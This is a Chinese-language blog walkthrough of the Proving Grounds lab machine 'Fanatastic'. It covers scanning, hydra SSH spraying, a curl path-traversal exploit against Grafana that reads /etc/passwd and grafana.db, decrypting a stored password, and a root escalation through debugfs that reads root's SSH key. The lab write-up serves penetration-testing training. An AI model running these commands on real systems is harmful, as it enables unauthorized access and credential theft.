Proving Grounds Practice : Fanatastic Walkthrough

 Proving Grounds Practice : Fanatastic Walkthrough


Foothold :

  • 3000 Port 發現 Grafana V3.8.0,查找 Exploit 發現 Path Traversal 漏洞利用
  • 參考 HackTricks 讀取 /etc/grafana/grafana.ini 拿取 secret_key
  • 以及讀取 /var/lib/grafana/grafana.db 獲取 dataSourcePassword
  • Grafana 有獨特的加密方式,使用網上提供的 go 語言套件解密
  • 獲得憑證後 SSH 登入

PE :

  • id 發現使用者有 (disk) 權限
  • 使用 debugfs 讀取 root 的 id_rsa Key 後登入成為 root

注意 : 

  • Grafana 枚舉技巧與檔案位置學習以及 .db 內的密碼解密方式
  • kali 預設無法執行 go 語言套件,花了不少時間設定環境
  • 使用者隸屬 (disk) 的利用方式


Rustscan,└─$ rustscan -a 192.168.223.181 --scripts none --ulimit 5000 | tee rustscan



snmp check,└─$ sudo nmap -sU -p 161 192.168.223.181 | tee snmp



nmap,└─$ sudo nmap -sCV -A -p 22,3000,9090 192.168.223.181 | tee nmap




3000 / 轉 /login 是個 Grafana CMS,版本 V8.3.0



使用 admin:admin、admin:password、grafana:admin、grafana:grafana、grafana:password 登入失敗



3000 /robots.txt




searchsploit grafana,看來有 Path Traversal



使用後直接讀取到 /etc/passwd

獲取使用者帳號 prometheus、sysadmin


試著讀取 id_rsa 檔案,發現讀取沒有權限的檔案會直接跳出




使用這兩個帳號 hydra 噴灑 SSH,沒有任何結果


測試 Grafana 登入沒有成功



gobuster 3000 /



讀取 /etc/grafana/grafana.ini



Grafana 有用的資訊是 /etc/grafana/grafana.ini & /var/lib/grafana/grafana.db

第一個我們已讀,第二個透過上述的 Exploit 讀取不好看,檔案過於大



參考 Exploit 50581 主要漏洞讀取的路徑是

http://<Target IP> + /public/pligins/ + choice(plugin_list) + ../../../../../../../../ + File_to_Read



而 plugin_list 是有字典檔的如下



那就直接 curl 試試看,使用指令

└─$ curl http://192.168.223.181:3000/public/plugins/alertlist/../../../../../../../../etc/passwd  

發現會轉 login Page



加上參數 --path-as-is 就可以順利讀到了



透過 curl 去讀取 /var/lib/grafana/grafana.db,告知我們可以用 --output 寫到檔案
將指令改 └─$ curl --path-as-is http://192.168.223.181:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db --output grafana.db



檔案內容可以看到 sysadmin 與密碼 HASH


使用 Kali 內建的 sqlitebrowser 工具也可以看到 sysadmin:anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==


看起來像是 Base64,結果 decode 是亂碼


上網查找後發現 Grafana 密碼的加解密方式有自己的方式,有提供解密的檔案


下載 AESDecrypt.go 後進行編輯,將 main 底下的 dataSourcePassword 替換成該值



看了一下說明還要從 grafana.ini 抓取 secret_Key
;secret_key = SW2YcwTIb9zpOOhoPsMm  這個值跟盪案中的一樣,看來是 Grafana 預設的金鑰



還有看到另一組憑證 admin:63f576276a6db59bb750c34f126945c1e941f9e3b21ab2f5be74ae00cc8abfc1b9f7ee5840f9abdae46efc0ee5350bd65aa8



要開始解密時發現沒有 go 工具,kali 也不認識該指令
所以先去察看最新版本的 go 安裝包,參考 https://go.dev/dl/


下載符合 Kali Linux 版本的 go 語言套件
wget https://dl.google.com/go/go1.23.0.linux-amd64.tar.gz





解壓縮 └─$ tar -xvf go1.23.0.linux-amd64.tar.gz 



把 go 資料夾搬到 /usr/local 底下 └─$ sudo mv go /usr/local                          


呼叫現有 PATH 加上 /usr/local/go/bin 環境參數
└─$ echo $PATH                                                                     
└─$ export PATH=$PATH:/home/kali/.pyenv/shims:/home/kali/.pyenv/bin:/home/kali/.local/bin:/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/home/kali/.dotnet/tools:/usr/local/go/bin
再使用 go version 確認可以正常執行 go 工具


執行後顯示 cannot find package "golang.org/x/crypto/pbkdf2" in any of:


執行 go mod tidy 後再執行一次就得到解密後的密碼 "SuperSecureP@ssw0rd"
所以我們獲得了一組憑證 sysadmin:SuperSecureP@ssw0rd


hydra 測試一下


SSH 直接登入後獲取第一階段 flag


開始 PE,cat /etc/passwd,之前就已知的兩個帳號 prometheus、sysadmin 



sudo -l 輸入密碼沒有東西


SUID check


cat /etc/crontab


利用新學到的 Linux 好用的提權工具 lse.sh

參考 : https://github.com/diego-treitos/linux-smart-enumeration/blob/master/lse.sh

執行後輸入現有使用者密碼,跑了之後沒有發現甚麼



加上參數 -l1 (深層資訊掃描) 再掃掃看

root 執行了一個好玩的指令 id



輸入 id 看一下發現 6(disk)

再執行 df -h 看看,檔案系統位於 /dev/sda2 路徑



啟用 debugfs /dev/sda2 然後切換到路徑 /root 底下,輸入 ls 發現有 .ssh 路徑

PS : 要跳出回復上個畫面輸入 q 即可



再進入 .ssh 



一樣 ls 查看檔案發現 authorized_keys & id_rsa 檔案



直接 cat id_rsa 讀取檔案



抓回來後直接 SSH 登入確認是 root,獲取 proof.txt



補充說明 :

執行 linpeas 也可以看到 (disk) 亮橘燈



跑到 User Information 的時候還會再看到一次



留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

濫用 Windows 庫文件(Library File)

Challenge 0 - Secura(1)